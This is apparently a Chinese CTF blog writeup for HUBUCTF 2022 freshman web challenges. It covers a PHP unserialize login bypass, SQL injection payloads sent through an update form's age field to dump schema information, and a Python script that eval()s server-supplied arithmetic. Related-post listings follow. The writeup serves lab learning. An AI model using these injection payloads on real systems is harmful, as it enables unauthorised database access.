HUBUCTF 2022新生赛Writeup
既然是母校,那一定要好好对待~ 2024-01-13 22:42:34
WEB [HUBUCTF 2022 新生赛]checkin
题目链接:checkin
原题
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
username or password error!
一道字符串反序列化的题,相关构造就可以。
$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?>
NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}web [HUBUCTF 2022 新生赛]ezsql
原题链接:easysql


经过测试admin" or 1=1--+注册后,可以直接进去,但是翻遍了没有一点信息,应该是覆盖了原来的信息,目录遍历一下吧。

看到了www.tar.gz,源码泄露

好多源码,代码审计!
查看update.php,
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
我们只要在中间加上password=***,token置空,就能更改password了。

改完还是不行,估计密码不是明文存储。这个输入点还可以直接使用sql语句,注意我的问题,这么写肯定是错的。
foreach($_POST as $key=>$value){ $_POST[$key]=addslashes($value);} update.php中也有这句话,它将双引号单引号都过滤了。注入点为什么在age呢,因为age必须是整数,那么他就可能将是双引号去掉了!。


得到数据库名demo2
nickname=(select 1)&age=(select 1),description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&token=4b29f27a4354d745055045c0c7c97891
得到表名:user.注意每次的sessionid都不一样,不能重放。
nickname=1&age=(select 1),description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&token=3e9be9bb4eb8225f70379a9c57cd83b5
之后用表名查列名,但是我不知道表名为什么非要用16进制,就像下面的图一样,总之,最后然后获取密码,重开环境。

[HUBUCTF 2022 新生赛]Calculate

意思很明显,编写脚本。先抓个包,cookie是必须带的


参考https://blog.csdn.net/Jayjay___/article/details/134805314, 个人进行了改进。
# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月18日
"""
import requests
import time
import re
url = 'http://node5.anna.nssctf.cn:28169/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 21):
print(f"正在执行第{i}次------")
math = ""
response = res.get(url) #发get包,获取题目
resTest = response.text #获取返回包的内容
li=re.findall(">([0-9*/+-])<",resTest)
math="".join(li)
print(math)
num = eval(math) #计算数学表达式的值
myData = { #构造的POST数据
'ans': num
}
time.sleep(1) # 睡一秒
response = res.post(url, data=myData) #发post包,提交答案
if "NSSCTF{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break
HUBUCTF 2022新生赛Writeup的更多相关文章
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga
[ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt
[ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]rome
[ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]easyre
[ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...
- GDOU-CTF-2023新生赛Pwn题解与反思
第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...
- SCNU ACM 2016新生赛决赛 解题报告
新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代 ...
随机推荐
- Office 看不了激活更改产品密钥
Office 看不了激活更改产品密钥 解决方案: PatchOffice.rar - 蓝奏云 将文件解压到桌面 >>> 右击,以管理员方式运行或双击运行均可 >>> ...
- Windows 资源管理器 CPU100%
Windows 资源管理器 CPU100% win + R打开运行框并输出:services.msc 点击确定打开服务:将服务中的Problem Reports Control Panel Suppo ...
- C# 写日志文件
常用方法: public class FileHelper { private static void Write(string fileName, byte[] bytes) { FileStrea ...
- Open vSwitch系列之十 调用北向接口下发流表
Open vSwitch系列之一 Open vSwitch诞生 Open vSwitch系列之二 安装指定版本ovs Open vSwitch系列之三 ovs-vsctl命令使用 Open vSwit ...
- AnaConda 虚拟环境创建失败的解决方案
问题:创建环境时,AnaConda界面下放一直显示正在创建中,然后过几分钟报错! 我的解决方法:--关闭 VPN... 其他解决方案请参考这篇文章:Here
- <vue 组件 2、组件参数传递>
代码结构 一. 01-父组件向子组件传递数据 1. 效果 展示出来的数据都是父组件传给子组件的数据 2.代码 01-父组件向子组件传递数据.html <!DOCTYPE html> ...
- package.json文件中版本号
"5.0.3"表示安装指定的5.0.3版本,"-5.0.3"表示安装5.0.X中最新的版本,"^5.0.3"表示安装5.X.X中最新的版本.
- new关键字执行过程
在javascript中,现阶段我们可以采用三种方式创建对象(object) 利用字面量创建对象 利用new Object创建对象 利用构造函数创建对象 new关键字执行过程 // new关键字执行过 ...
- Go image registry
0. 前言 OpenShift image registry 概述 介绍了 OpenShift 平台上 registry 的基本结构.进一步地,本文将介绍在 Kubernetes 平台上,如何使用 G ...
- springboot启动流程 (1) 流程概览
本文将通过阅读源码方式分析SpringBoot应用的启动流程,不涉及Spring启动部分(有相应的文章介绍). 本文不会对各个流程做展开分析,后续会有文章介绍详细流程. SpringApplicati ...